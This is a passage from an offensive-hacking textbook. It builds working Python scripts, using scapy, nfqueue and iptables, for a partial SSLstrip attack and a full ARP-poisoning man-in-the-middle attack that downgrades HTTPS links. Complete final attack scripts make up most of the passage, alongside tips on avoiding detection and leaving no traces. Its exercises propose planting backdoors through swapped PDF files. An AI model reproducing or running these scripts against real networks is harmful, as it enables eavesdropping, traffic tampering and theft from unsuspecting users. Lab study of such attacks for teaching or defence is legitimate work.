The previous Section should have given you an idea of the kind of information that can be collected using Wireshark, and why Wireshark might be a popular tool among programmers and administrators who need to keep track of network activity. But don't get too excited just yet. Unfortunately, if we expect to be able to intercept all of our target's network activity just by capturing it on its way into and out of their system, we are going to run into a problem. As demonstrated in the packets above, even explicitly visiting *http://www.google.com* only gives us two packets of readable data before the browser and server switch over to a protocol that we can't read. The way that a user would normally reach that page, by typing *google.com* into the URL bar, will produce traffic that will be impossible for us to read from the very beginning, because the browser will expand that into *https://www.google.com* by default.

The problem is that, these days, about a third of all Internet traffic (and the majority of the kinds of sensitive traffic that we are interested in) is encrypted at the transport layer using a method called SSL. Dealing with encryption is beyond the scope of this book, but there are some non-cryptographic methods for circumventing SSL. One popular option is remapping all HTTPS links in the HTML that we intercept with equivalent HTTP links, effectively preventing SSL from being implemented in the first place. We will be using this as our example in this Chapter.

Web traffic encryption is an area of active development right now. Just a few years ago, HTTPS was not yet in common usage and all of this would have been a nonissue. But now, more sites are using secure connections and any exploit that works at the time that I am writing this might already be fixed by the time you read it. So, although this attack can still be useful in limited ways as it is presented, it is an incomplete version of a more robust hack and even the attack that it is based on may be obsolete in the near future. So, this should be approached more as a learning opportunity than as a recipe for a successful attack. You have been warned.

It is interesting, although frustrating, to note that the problems introduced by SSL (keep in mind that these are problems for *us*, but they are a huge win for

the average user) are not at all unique. One of the major successes of digital security engineers over the past decade or so has been the creation of systems that allow even the most clueless users to remain well protected. When properly implemented, modern cryptography is basically unbreakable. So, all it takes to reliably close off a huge range of possible opportunities for hackers is to make the implementation of that cryptography transparent enough that users will not try to circumvent them just for the sake of their own convenience (a note to anyone designing digital security systems: *Never* underestimate users' willingness to compromise their own security, even if there is seemingly no reason for them to try). Another example of this is the protection of wireless networks. The WPA2 systems used in modern routers, combined with a strong password, provides enough protection to convince any reasonable attacker to look elsewhere for an easier way in. This is why an indirect attack, like stealing the WPA key from a compromised computer that already has access to the network, is a much better method than a direct attack on the router, which is very likely to fail. Even the possibility of a weak network key is increasingly unreliable, as router manufacturers often provide their customers with a strong, randomly generated key by default rather than having them come up with their own.

Intercepting Packets with s*capy* and *nfqueue*

Earlier in the Chapter, you may have noticed that Wireshark has one obvious limitation for our purposes. It is built to *read* network traffic, but it has no functionality for doing anything else with it. As we have seen, Wireshark is great for gaining a feel for what is going on in a selection of network packets, but what if we want to create, modify, and send our own packets? That is, what if we want to actually *do* things on the network? For this, we are going to need to dig deeper into *scapy*. But *scapy* has its own major shortcoming; it can sniff, create, modify, and even send packets, but it does not interact with the system at a low enough level to actually change existing network traffic. So, if our goal is to control the network activity of a system that we have taken over, the best that we can do with *scapy* alone is to blindly send our modified copy of each packet and hope that it reaches the destination before the original. This is what is called a *race condition*: when two or more processes are set to run at the same time and the decision of which process actually gets to do its job depends entirely on which one is able to complete its task first. This is very similar to the reason that we implemented the semaphore in the previous Chapters. In the best case, a race condition leads to unpredictable results because we cannot know which process will be the first to reach the finish line. In this case, it is even worse for us: Because Python is not a very fast language and it will be competing with much faster processes, our packets are going to lose the race every single time. We need a way to prevent this from happening. Ideally, we need to be able to completely prevent the original packets from ever being sent or received.

Enter *nfqueue*. *nfqueue* (the *nf* stands for *net filter*) is a Python library for Linux systems that allows us to hold incoming and outgoing packets in our own queue so that we get the chance decide what happens to them before they can be touched by other processes. With this ability, we not only get to listen in on all of the target's network traffic—we *own* their network traffic, which is extremely powerful. This will be made even more powerful in the next Chapter, when we learn how to do the same to other computers on the network, rather than just the computer that we are running our script on. But, owning the traffic of a local system will be a good proving ground for the skills that you will need in order to make use of that power later on.

To make things more interesting, I will give us a concrete goal to work toward. In the remainder of this Chapter, we are going to build a script that intercepts HTTP packets received by our target system, replacing the substring *https* with *http* wherever we can find it. This, in theory, will prevent the target from being linked or redirected to pages that use HTTPS, which should keep most of their web traffic in the clear so that we can continue reading it. This is actually the first half of the *SSLstrip attack* developed by Moxie Marlinspike. The second half is explained in Exercise 4 at the end of this Chapter, and its final implementation is assigned to you as an Exercise after Chapter 6. SSLstrip is a very clever way of circumventing the SSL problem, and it is still a very effective method at the time that I am writing this. There are some extra features built into Marlinspike's implementation of the attack, which are explained at the page linked above, but for our purposes, we will only be handling the bare minimum.

Before we can begin, you will need to install *nfqueue*. Open up a terminal window and run this command:

```
apt-get install python-nfqueue
```

In order to use the queue the way that we intend, we need to tell the OS that we want incoming packets (all of this also applies pretty much directly to outgoing packets as well but, for simplicity, I will only deal with incoming ones in this example) to be redirected to our queue rather than being passed on to the other processes that normally hook network input. To do this, we are going to use *iptables*, a command line tool built in to Linux systems. *iptables* is often used to set up firewalls in Linux by making modifications to the internal IP routing table, which is basically what we will be doing here. So, create a new Python file and let's get started.

First, let's import a few things. Also, to make the script slightly more general, let's avoid hardcoding the HTTPS-to-HTTP substitution into the script. Instead, we should put those values into variables so that we can make the same script perform other tasks with minimal editing.

```
from scapy.all import *
import nfqueue
```

```
import os
import re

a = "https"
b = "http"
```

Now we use *iptables* to add a new rule to our target's internal IP routing table:

```
os.system('iptables -A INPUT -p tcp -j NFQUEUE')
```

Here, we are using the *os.system* function to run a command in a subshell. This is very similar to what we did with the *subprocess* module in the last Chapter, but with *os.system*, the resulting command is dependent on our script. There is not much difference between these two options in this case, because the *iptables* command runs very quickly and then exits, but if you are starting a longer running process from inside a Python script, this could be an important difference. For example, if we had used *os.system* in the example from the last Chapter, the update script would be killed as soon as the main script exits, which is exactly the opposite of what we wanted. On the other hand, if you do not specifically require your command to continue running if/when your Python script ends, it is good practice to use *os.system* instead, so that you do not accidentally leave stray processes running after your main program is finished.

In the command itself, we are adding a new rule to the target's routing table. Quickly running through the arguments: *-A INPUT* indicates that we would like to append the new rule to the existing table that determines what happens to incoming traffic (*OUTPUT* and *FORWARD* are the other options). *-p tcp* indicates that we want this rule to apply to TCP packets. *-j NFQUEUE* indicates that we want the relevant packets to be sent into our queue. Now, we need to set up the queue:

```
queue = nfqueue.queue()
queue.set_callback(callback)
queue.fast_open(0, socket.AF_INET)
```

In this bit of code, we initialize a new *queue* object that will hold the packets as they come in from the network. Next, *nfqueue* allows us to set a callback

function, which will be called for every packet as it exits the queue; we will write this function momentarily. Finally, we use *fast_open* to start up the queue. This function binds the queue to the target computer's network adapter. The handle for the adapter is stored as a constant *AF_INET* in the *sockets* library. There is no need to manually import *sockets* because it was already imported when we imported *scapy* in the first line. The *0* is an index that would be used if you were setting up more than one queue within the same program. Now, when a new TCP packet is received by the target computer, it will be redirected to our queue. From the queue, the packets will be sent to the *callback* function. Let's write that now:

```
def callback(i, payload):
    packet = IP(payload.get_data())
    if a in str(packet[TCP].payload):
        packet[TCP].payload = edit_http(packet[TCP].payload)
        del packet[TCP].chksum
        del packet[IP].len
        del packet[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet),
len(packet))
    else:
        payload.set_verdict(nfqueue.NF_ACCEPT)
```

callback takes two arguments. The first is a dummy integer that does not give us any real information and the second is the contents of the packet. First, we get the packet into a more useable form by wrapping its data into an IP packet using *scapy*. This is where we get to start using *scapy* to modify packets rather than just look at them. Recall that HTTP is actually carried using TCP, so that is the level that we are checking for any instances of "https." If the packet passes that test, we update the payload (using a function that we still need to write) and then clear out some of the calculated values so that *scapy* can repopulate them. If we skipped this step, the length values and checksums will not match the actual content of the packets, and the browser will interpret the data as corrupted. It will then send a request to the server to get another copy, which will also get "corrupted" by our script before hitting the browser, and so on, the result being that the page will never load and the user might suspect that something is wrong. Finally, we set the verdict on the packets. In this case,

the verdict is the decision of whether the packet should be passed along to its original destination or dropped from the queue without reaching its target (the two main choices for the verdict are *NF_ACCEPT* and *NF_DROP*). In this case, we are sending the packets along whether they contained any "https" substrings or not. The difference is that if we made a substitution, we need to send the updated version of the packet using *set_verdict_modified*. Let's go back and write a function to modify the HTTP layer of the packet.

```
def edit_http(http):
    headers, body = str(http).split('\r\n\r\n')
    body = body.replace(a, b)
    headers = re.sub(r"(?<=Content-Length: )(\d+)", str(len(body)+1), headers)
    return headers + "\r\n\r\n" + body
```

We start by breaking apart the packet into its two main parts based on the observation we made earlier in the Chapter: that the headers and the body of an HTTP response are separated by a blank line. Then the substitutions are made to the body content and the length value in the header is updated to reflect the change. The two chunks are then reassembled and returned.

All of the groundwork is laid. It's time to add the final section:

```
try:
    queue.try_run()
except KeyboardInterrupt:
    queue.unbind(socket.AF_INET)
    queue.close()
    os.system('iptables -F')
    os.system('iptables -X')
```

Here, we run the queue's *try_run* method, which starts the main loop of listening for incoming packets. If a keyboard interrupt is raised, we shut down the queue, and, so that we do not leave any traces of what we were doing, we call *iptables* again to remove the routing rule that we added at the beginning of the program.

Here is the final version of our script:

```
from scapy.all import *
import nfqueue
import os
import re

a = 'https'
b = 'http'

def callback(i, payload):
    packet = IP(payload.get_data())
    if a in str(packet[TCP].payload):
        packet[TCP].payload = edit_http(packet[TCP].payload)
        del packet[TCP].chksum
        del packet[IP].len
        del packet[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet),
len(packet))
    else:
        payload.set_verdict(nfqueue.NF_ACCEPT)

def edit_http(http):
    headers, body = str(http).split('\r\n\r\n')
    body = body.replace(a, b)
    headers = re.sub(r"(?<=Content-Length: )(\d+)", str(len(body)+1), headers)
    return headers + "\r\n\r\n" + body


os.system('iptables -A INPUT -p tcp -j NFQUEUE')
queue = nfqueue.queue()
queue.set_callback(callback)
queue.fast_open(0, socket.AF_INET)


try:
    queue.try_run()
except KeyboardInterrupt:
```

```
queue.unbind(socket.AF_INET)
queue.close()
os.system('iptables -F')
os.system('iptables -X')
```

Conclusion

In this chapter, we covered:

- How the OSI model explains network structure and allows us to conceptualize the relationships between different network protocols
- How to decode and interpret network packets in Wireshark
- How to use *scapy* to sniff and modify network packets
- How to use *nfqueue* and *iptables* to redirect and intercept network traffic

Lab Exercises

1. Add the functionality covered in this Chapter to the keylogging script that we built in the previous Chapters. Because we made the shift from Windows to Linux in this Chapter, you will need to modify the code from the previous Chapters to work on Linux. This will require retooling the way that we handled keylogging and screenshots, but will allow you to incorporate both sniffing and intercepting/modifying packets directly from what we learned in this Chapter.

2. If you tested the script while browsing real websites, you probably noticed that it pretty much only works on very small, simple pages. This is because, for all but the simplest sites, the content of HTTP packets is often compressed before it is sent and then decompressed by the browser once it arrives. That means that our script does not know how to read much of the data that it sees, even on unsecured sites. Correct this by modifying the script to check for compressed data, then decompress before making any changes and (optionally) re-compressing it before setting the verdict.

3. For further practice with non-text data, modify the script to identify and capture packets containing image data. Bonus: It is beyond the scope of this book, but this feature would be much more useful if you could decode the sniffed data back into images and save them for later use.

4. Implement the second half of the SSLstrip attack. Here is how it works: The method that we used in this Chapter has a pretty major problem: Most servers that are configured to use HTTPS will not allow access to sensitive information if SSL is not in place, so if we were to use the packets that we receive from the target exactly as we received them, we are not going to get the results that we are looking for. To correct this, you need to keep track of the URLs in which you make the HTTPS-to-HTTP substitution in packets bound for the target computer. When you receive a packet from the target containing the HTTP version of one of those URLs, replace it with the original HTTPS address so that *our* communication with the server will produce the result that the target user is expecting.

Chapter 6
The Man-in-the-Middle Attack

Chapter Objectives

In this chapter, you will learn:

- How a man-in-the-middle attack works
- How computers and gateways use ARP to map the network
- How ARP poisoning can be used to listen in on network signals
- How to use *scapy* to create and edit ARP signals
- How to use *scapy* to perform ARP poisoning

In the process, we will be building a script that executes a man-in-the-middle attack through ARP poisoning.

Introduction

Let's suppose that you wanted to read, and potentially tamper with, your neighbor's mail (obviously, I do not recommend this). But your neighbor (whom we will call Bob, because that is the convention in computer science) and your mail carrier (whom we will call Alice, for the same reason, and because computer scientists are not very good at coming up with interesting names) are both very paranoid. Bob will only accept mail received *directly* from the mail carrier and Alice always personally hands the mail to its intended recipient. So, how do we manage to get our hands on the mail before it reaches Bob? Right now, the mail delivery system works like this:

$A \rightarrow B$

We want to place ourselves in the middle so that the system looks like this:

$A \rightarrow Us \rightarrow B$

To do that, we need to convince Alice that we are the real intended recipient of the messages, and to convince Bob that we are the real mail carrier. If we can do that, then Alice will simply hand us the mail, thinking that she has successfully completed the delivery. Then, we personally deliver it to Bob, who thinks that he has received his mail directly from the source; between receiving the mail from Alice and delivering it to Bob, we can do whatever we want it and neither party will have any reason to suspect a problem.

This is the idea behind the man in the middle attack. We, the attackers, place ourselves into the stream of communication by convincing both parties that *we* are the ones whom they are trying to talk to. In order to do this, we need to learn a little bit about how computers on a network keep track of who is who and where to send their messages.

One advantage to this kind of attack is that it can be used to circumvent many types of cryptography. For example, a public-key system like RSA is normally a nearly fool-proof way of securing transmissions, but with a few caveats, a MITM attack can get around that. We simply give our own public key to both parties as being the key for the other. So, for example, an encrypted message

sent from Alice to Bob will look like this:

A [encrypted using our public key] → [decrypted using our private key] Us [encrypted using Bob's public key] → [decrypted using Bob's private key] B

Unfortunately, this does not apply to SSL because the public keys (certificates) used to secure HTTPS traffic are not provided directly. Instead, keys are issued and distributed by Certification Authorities. Rather than an RSA key, which can be easily generated for free, obtaining an SSL key is only possible by paying fairly large sums of money to the Certification Authorities who will then have a Registering Authority determine whether you are who you say you are and whether you plan on using your SSL key for good rather than evil, and so on. There is an entire bureaucratic system built around SSL to ensure that keys are trustworthy. As usual, there are some workarounds for this, but for the purposes of the average attacker, and thus for the purposes of this book, this makes circumventing SSL infeasible. This is why the SSLstrip attack that we worked on in the previous Chapter is so useful. We don't need to worry about actually circumventing SSL if we can prevent it from being used in the first place. But to actually use SSLstrip, we need to place ourselves between the gateway and the target so that we can tamper with the traffic. One tried and true method for doing this is called ARP poisoning, and that is what we will be discussing in the remainder of this Chapter.

ARP

In the last Chapter, we worked with HTTP packets, which operate at the very top of the OSI model, but in order to make the MITM attack work, we are going to need to work closer to the metal, using Address Resolution Protocol (ARP). ARP operates at the *Link layer*—in OSI terms, somewhere between the Data Link layer and the Physical layer, but typically just included in layer 3—and is the protocol used to identify computers on a network. Specifically, this means associating an IP address, which is particular to the network and might change over time, with the MAC address of the device that is currently using that address.

To make this clearer, let's return to the example from the last Section. Specifically, consider how Bob determines who can be trusted to handle the mail. Of course, Bob only trusts the mail carrier. However, *the mail carrier* is not a specific person; it is a position that many individuals—including an imposter—could fill. Likewise, suppose that a computer on a network wants to send a message to the wireless gateway. It would not make much sense for *the gateway* to be defined as only one specific device. If that we the case, upgrading the gateway would break the entire system. In our analogy, this is why Bob's rule for deciding whom to accept mail from cannot be *I will only accept mail from Alice* because this rule would mean that Bob could not receive any mail on days when Alice is sick. So, Bob's rule is actually *I will only accept mail from the mail carrier* coupled with another, more flexible rule: *Alice is the mail carrier*. Likewise, *the gateway* is defined by its IP address, not its actual identity as a device. Any device that is able to convince the computer that it has the IP address associated with the gateway, for all intents and purposes *becomes* the gateway for that computer and will be trusted to fulfill that role. This is helpful for network engineers and admins because it allows for the construction of more dynamic and robust networks; it is helpful for us because it means that *we* can become the gateway, allowing us to watch all of the traffic that flows through the system. Returning to the mail example, this corresponds with the observation that, if we put on a uniform and start delivering the mail just as Alice does, there is no way for Bob to know that we are not the *real* mail carrier because, in a sense, we actually are—after all, we *are* the person carrying the mail.

A device's IP address acts as a title—like *gateway* or *mail carrier*—related to its role in the network, whereas its MAC address is tied to the actual device hardware that is connected to the network. In our example, a MAC address is analogous to a person's name, like *Alice*, which is (for our purposes) a unique identifier of that person. That is why, as we saw in the registry entries that we looked at in the first Chapter, the identity of networks is recorded based on the MAC address of the access point. There is nothing at all unique about the IP address given to an access point, but the MAC address of every device is—in theory—unique to *that* physical device, making it a much more reliable indicator that a network is the same one that you have seen before.

The role of ARP messages is to allow computers on a network to keep track of the relationships between the *titles* (i.e., the IP addresses) and the location (i.e., the MAC address) of all of the other devices on the network. An ARP message is us knocking on Bob's door and saying "Hello, I am your new mail carrier." Let's create some ARP messages using *scapy* to see what this looks like in practice. Fire up a new *scapy* interactive session and Wireshark. While sniffing traffic filtered down to "arp" in Wireshark, run the following command in *scapy*:

```
send(ARP())
```

This will send out a new ARP packet onto the network using *scapy*'s default values. The *send* function is written to directly accept layer 3 packets like ARP and will automatically handle the lower levels. Some new listings should pop up in Wireshark. Here is what they look like for my VM:

No:1

Time: 0.000

Source: 08:00:27:43:f8:c9

Destination: ff:ff:ff:ff:ff:ff

Protocol: ARP

Length: 42

Info: Who has 10.0.2.1? Tell 10.0.2.15

and

No:2

Time: 0.001

Source: 52:54:00:12:35:00

Destination: 08:00:27:43:f8:c9

Protocol: ARP

Length: 60

Info: 10.0.2.1 is at 52:54:00:12:35:00

What does this tell us? The first packet is the one that we sent from our *scapy* session. My VM (MAC address 08:00:27:43:f8:c9 with IP address 10.0.2.15) wants to know what device currently has the address 10.0.2.1, where it expects to find the gateway to the network. Obviously, it does not know what device to address this message to, which is why it is asking. So, it sets the destination of the packet as ff:ff:ff:ff:ff:ff, which all devices respond to. Basically, this is Bob asking everyone in the neighborhood who the current mail carrier is. In the next packet, Alice responds “It’s me”; the gateway, which has MAC address 52:54:00:12:35:00, sends a response that says “I am the device that you are looking for.” This is a general pattern for most ARP exchanges.

ARP Poisoning

We just saw an exchange in which one machine broadcast a request to find out what device had a certain IP address. But, we do not need to wait for anyone to ask in order to send out an ARP announcement; the ARP protocol allows for a device to simply introduce itself to the network. Computers are very trusting of ARP messages and will update their records of who is who in response to any ARP packets that they receive. We are going to take advantage of this to build our MITM attack.

Our mission for the rest of this Chapter will be to write a script that takes a target IP address, places ourself between that device and the gateway, and modifies the HTTP traffic that passes through in the same way we did in the last Chapter. To start, we are going to need to find out where everything is on the network, so we will actually be starting out with a completely honest use of ARP to locate our target and the gateway. Let's get started. This script has much in common with the script from the last Chapter, so they will share some of the same code, including this:

```
from scapy.all import *
import nfqueue
import os
import re

a = "https"
b = "http"

gateway_ip = "10.0.2.1"
target_ip = "10.0.2.6"
```

The only addition is that we have also defined the IP addresses of both our target and the gateway. In a more practical setting, you would probably want to build this whole script out into a command line tool, where these values are taken as arguments. But, in order to keep the code straightforward for this example, I will not bother with that. Next, we need a way to find the MAC addresses associated with both of those IP addresses so that we know where to send our misleading ARP packets later on. Let's write a function that handles

that:

```
def who_has(ip):
    result = sr1(ARP(pdst=ip), retry=15, timeout=5)
    return result.hwsrc
```

This function takes an IP address, sends out an ARP request to find out what device, if any, currently has that address, and then returns the MAC address of the device that responds. The *scapy* function that I have used here, *sr1* (the "sr" stands for *send and receive*), sends out the packet in the first argument and then returns the first response that it receives to that packet (hence the "1" in the function name). The additional arguments tell the function that, if it does not receive a response right away, it should try again for up to fifteen tries, or five seconds. Unlike the last time we used the *ARP* function, we have used an argument this time that overrides one of *scapy*'s default values in the resulting packet. In this case, we have specified the IP address that we would like to ask about.

Now we have what we need to do some ARP poisoning. All this means is lying to the target to convince them that we are the gateway, and lying to the gateway to convince them that we are the target. Let's do it:

```
def poison():

    target_packet = ARP()
    target_packet.op = 'is-at'
    target_packet.pdst = target_ip
    target_packet.hwdst = target_mac
    target_packet.psrc = gateway_ip

    gateway_packet = ARP()
    gateway_packet.op = 'is-at'
    gateway_packet.pdst = gateway_ip
    gateway_packet.hwdst = gateway_mac
    gateway_packet.psrc = target_ip

    send(target_packet)
```

```
send(gateway_packet)
```

This might be the most that we have customized packets in *scapy* up to this point, but if you have picked up on how *scapy* works through the other examples, this should be pretty easy to understand. Let's walk through it just to make sure that we're all on the same page. First, we define the ARP packet that we are going to send to the target. The meaning of this packet should be "Hello, *target*, I am the gateway now." Line by line, here is how we say that using ARP:

```
target_packet = ARP()
target_packet.op = "is-at"
```

Create a new ARP packet. The *op* attribute specifies what kind of message we are trying to send. In the earlier examples, *scapy* automatically set this to "*who-has*"—as in "*Who has* this IP address?"—because we were requesting information, but this time we need to set this value to "*is-at*"—as in "This device *is at* this IP address"—because we are making an announcement.

```
target_packet.pdst = target_ip
target_packet.hwdst = target_mac
```

This specifies that we want this message to go to the target only. We do not want to pose as the gateway for every device on the network, so assigning these values tells other devices to ignore the new IP-to-MAC correspondence that we are sending. This does not mean that other devices cannot see these packets, though, if they are listening. Anyone watching Wireshark in promiscuous mode (i.e., sniffing *all* traffic, not just traffic intended for one computer) will be able to see what we are doing. This is one of the main weaknesses of this type of attack; it is easy to detect just by watching for unusual ARP packets.

```
target_packet.psrc = gateway_ip
```

Finally, here is the lie. *Scapy* will automatically set the attack computer's MAC address as the value of *target_packet.hwsrc*, so by setting the *target_packet.psrc* to the gateway's IP address, we are telling the target that

any traffic that it wants to send to the gateway's IP should be the attack computer's MAC address. The setup for the packet sent to the gateway is a mirror image of this. Finally, we finish off the function by sending the packets out onto the network.

Once we have done what we want to do with the target's network traffic, we need to be able to end the attack. If we simply stop forwarding traffic between the gateway and the target, their connection to the network will be interrupted, which might look suspicious. Luckily, the process for cleanly undoing our changes to the target's ARP cache is almost exactly like making those changes in the first place. Our *unpoison* function will be nearly identical to our original *poison* function.

```
def unpoison():

    target_packet = ARP()
    target_packet.op = 'is-at'
    target_packet.pdst = target_ip
    target_packet.hwdst = target_mac
    target_packet.psrc = gateway_ip
    target_packet.hwsrc = gateway_mac

    gateway_packet = ARP()
    gateway_packet.op = 'is-at'
    gateway_packet.pdst = gateway_ip
    gateway_packet.hwdst = gateway_mac
    gateway_packet.psrc = target_ip
    gateway_packet.hwsrc = target_mac

    send(target_packet)
    send(gateway_packet)
```

The only difference between this and *poison* is that we specify the *hwsrc* attribute in both packets to their original values rather than letting *scapy* fill it in with the attack computer's address. In these two functions, I used some variables that we have not actually defined yet. However, we already set this up, so assigning values to *gateway_mac* and *target_mac* is as easy as using

our *who_has* function.

```
gateway_mac = who_has(gateway_ip)
target_mac = who_has(target_ip)
```

Now for something a little bit different. Because of the way that the MITM attack is structured, we need a way to effectively pass traffic *through* our attack computer. This could be a problem, because for a normal computer, the default reaction to receiving a packet intended for another recipient is simply to ignore it. Thankfully, Linux has this taken care of with the *ip_forward* setting, which does exactly what we need. It is turned off on most systems, but turning it on is really simple:

```
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
```

Now we have a path through our system for packets to follow when they need to. We can control this path in exactly the same way that we controlled the path into our target computer in the last Chapter. So, just like before, let's set up a new *iptables* rule:

```
os.system('iptables -A FORWARD -p tcp -j NFQUEUE')
```

The only difference between this line and the analogous line in the script from the last Chapter is that we are appending our rule to the *FORWARD* routing table rather than to *INPUT*. The setup for the queue and the *callback* and *edit_http* functions are exactly the same this time around. All that leaves are the startup and cleanup, which need to include setting up and breaking down the ARP poisoning as well as turning off IP forwarding. Here is the final version of our MITM attack script:

```
from scapy.all import *
import nfqueue
import os
import re

a = "https"
b = "http"
```

```
gateway_ip = "10.0.2.1"
target_ip = "10.0.2.6"


def who_has(ip):
    result = sr1(ARP(pdst=ip), retry=5, timeout=5)
    return result.hwsrc


def poison():

    target_packet = ARP()
    target_packet.op = 'is-at'
    target_packet.pdst = target_ip
    target_packet.hwdst = target_mac
    target_packet.psrc = gateway_ip

    gateway_packet = ARP()
    gateway_packet.op = 'is-at'
    gateway_packet.pdst = gateway_ip
    gateway_packet.hwdst = gateway_mac
    gateway_packet.psrc = target_ip

    send(target_packet)
    send(gateway_packet)


def unpoison():

    target_packet = ARP()
    target_packet.op = 'is-at'
    target_packet.pdst = target_ip
    target_packet.hwdst = target_mac
    target_packet.psrc = gateway_ip
    target_packet.hwsrc = gateway_mac
```

```
    gateway_packet = ARP()
    gateway_packet.op = 'is-at'
    gateway_packet.pdst = gateway_ip
    gateway_packet.hwdst = gateway_mac
    gateway_packet.psrc = target_ip
    gateway_packet.hwsrc = target_mac

    send(target_packet)
    send(gateway_packet)


def callback(i, payload):
    packet = IP(payload.get_data())
    if packet.haslayer(TCP) and a in str(packet[TCP].payload):
        packet[TCP].payload = edit_http(packet[TCP].payload)
        del packet[TCP].chksum
        del packet[IP].len
        del packet[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet),
len(packet))
    else:
        payload.set_verdict(nfqueue.NF_ACCEPT)


def edit_http(http):
    headers, body = str(http).split('\r\n\r\n')
    body = body.replace(a, b)
    headers = re.sub(r"(?<=Content-Length: )(\d+)", str(len(body)+1), headers)
    return headers + "\r\n\r\n" + body



gateway_mac = who_has(gateway_ip)
target_mac = who_has(target_ip)

os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
```

```
os.system('iptables -A FORWARD -j NFQUEUE')
queue = nfqueue.queue()
queue.set_callback(callback)
queue.fast_open(0, socket.AF_INET)

try:
    poison()
    queue.try_run()
except KeyboardInterrupt:
    queue.unbind(socket.AF_INET)
    queue.close()
    os.system('iptables -F')
    os.system('iptables -X')
    os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
    unpoison()
```

Testing the attack

There are several moving parts in this program, and setting up an environment in which to test it out is not as straightforward as it has been for our previous projects. So, as the final adventure of this book, we will work through testing this attack. Ultimately, the problem with testing this attack is that we need a target; it would not be advisable to go out into the world with this script until you are absolutely sure that it works.

The simplest way to do this is to use another copy of the same Kali VM, virtually networked with the attack VM. VirtualBox offers a couple of different ways to handle this (you can modify your VM's network configurations through the options found at Machine > Settings > Network), but I recommend using a NAT network, which allows multiple VMs to interact on a virtual network, isolated from the outside world. For a real attack, you would need to configure your VM to tap into an actual, external network. For the purposes of this test, the network adapters for both VMs should have promiscuous mode turned off, meaning that they will only receive traffic that is specifically addressed to them. This is not strictly necessary, but it will provide an additional clue as to whether the attack is working, because if it is effective we will be able to see traffic passing through the attack VM that we were not able to see before. Promiscuous mode can be turned off from the same network settings window, under the Advanced settings.

Once you have a couple of VMs networked together, open up a terminal window in whichever one you want to make the target system, and enter the command *arp*. This displays the current contents of the VM's ARP cache. By keeping an eye on this, we will be able to see if the changes made by the attack VM have actually worked as planned. This is what my target's ARP table looks like before the attack:

Address	HWtype	HWaddress	Flags Mask	Iface
10.0.2.1	ether	52:54:00:12:35:00	C	eth0
10.0.2.15	ether	08:00:27:43:f8:c9	C	eth0

Recall that 10.0.2.1 is the address of the gateway. So, the first entry tells us that, according to the target, the device with the MAC address 52:54:00:12:35:00 is the current gateway. The second entry is the attack VM, which you might remember has MAC address 08:00:27:43:f8:c9 and is at IP address 10.0.2.15. This means that if the target wants to send a message to the gateway at 10.0.2.1, it will address it to the device at 52:54:00:12:35:00. This is correct, but we do not want the target to be correct. What we want is for the target to think that the way to reach 10.0.2.1, and thus the gateway, is by sending its messages through 08:00:27:43:f8:c9.

Now, the test. Start the script on the attack VM and then check the target's ARP cache again. If all went well, it should look like this:

Address	HWtype	HWaddress	Flags Mask	Iface
10.0.2.1	ether	08:00:27:43:f8:c9	C	eth0
10.0.2.15	ether	08:00:27:43:f8:c9	C	eth0

So, this means that the ARP poisoning worked. The target will now send all of its messages to us rather than the gateway. Presumably a similar change occurred in the gateway's ARP cache, and it will now send us messages that were intended for the target. Let's see if our packet modifications work out. Fire up Wireshark and a browser window on the target VM, and visit a site that sends back its response data in plain text. You can use Wireshark to check that the sites you try are actually sending back data that our script knows how to deal with. Of course, if you were able to figure out a solution to Exercise 2 of the last Chapter, your options will be much less limited. Finally, we need to check that our script does not leave any obvious evidence behind after the attack is over, so kill the attack script by hitting Ctrl-C in its terminal window; if that goes smoothly, check on the target VM's ARP cache one last time. If everything went according to plan, the table should be exactly the same as it was before the attack.

Conclusion

In this chapter, we covered:

- How a man-in-the-middle attack works
- How computers and gateways use ARP to map the network
- How ARP poisoning can be used to listen in on network signals
- How to use *scapy* to create and edit ARP signals
- How to use *scapy* to perform ARP poisoning

Lab Exercises

1. One weakness of the script presented in the Chapter is that the ARP poisoning is not very resilient. If the target sends out a broadcast ARP request and the real gateway responds, the target's ARP cache will be correct again and we lose our connection. Improve on this issue by using *threading* to periodically repeat the poisoning process.

2. If you did Exercise 2 of the last Chapter, apply what you learned to replace all of the images sent to the target with a different image of your choice. Alternatively, replace every intercepted image with an inverted copy of the original. Admittedly, this is not a very practical application of your new skills, but ultimately, what you will be doing is intercepting and replacing binary data rather than the text data that we worked with in this Chapter. I'm sure you can think of some real uses for that!

3. As a more realistic application for replacing binary data, modify the script to identify and replace PDF files in intercepted traffic. There are several vulnerabilities in older versions of the PDF file format and Adobe Reader, some of which are already built into the Metasploit Framework that is built into Kali. So, if your target has an unsecured version of Adobe Reader, this might be an effective vector for inserting a backdoor into their system.

4. Finish off our version of the SSLstrip attack by building your solution to Chapter 5, exercise 3 into the MITM script from this Chapter.

Chapter 7
Solutions to Selected Lab Exercises

Chapter 2, Exercise 1

The following script loops recursively through a given registry key, stored as *loc*, and prints all of its contents. No interpretation of the binary data is being attempted here.

```
from _winreg import *

def get_subkeys(key):
    for i in range( QueryInfoKey(key)[0] ):
        name = EnumKey(key, i)
        yield (name, OpenKey(key, name))

def get_values(key):
    for i in range( QueryInfoKey(key)[1] ):
        name, value, val_type = EnumValue(key, i)
        yield (name, value)

def print_values(key, lev):
    for value in get_values(key):
        print "{}{}:\t{}".format("\t"*lev, value[0], value[1])

def print_key(key, lev):
    print_values(key, lev)
    print
    for subkey in get_subkeys(key):
        print "{}{}".format("\t"*lev, subkey[0])
        print_key(subkey[1], lev+1)
        subkey[1].Close()


loc = r"Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32"
with OpenKey(HKEY_CURRENT_USER, loc, 0, KEY_READ |
KEY_WOW64_64KEY) as topkey:
    print loc
    print_key(topkey, 1)
```

Chapter 2, Exercise 3

```
from _winreg import *
from datetime import *

def get_subkeys(key):
    for i in range( QueryInfoKey(key)[0] ):
        name = EnumKey(key, i)
        yield (name, OpenKey(key, name))

def get_values(key):
    out = {}
    for i in range( QueryInfoKey(key)[1] ):
        name, value, val_type = EnumValue(key, i)
        out[name] = value
    return out

def parseMac(val):
    try:
        mac = ""
        for ch in val:
            mac += "{:02X}:".format(ord(ch))
        return mac[:-1]
    except:
        return val

def filetime_to_datetime(filetime):
    timeformat = {
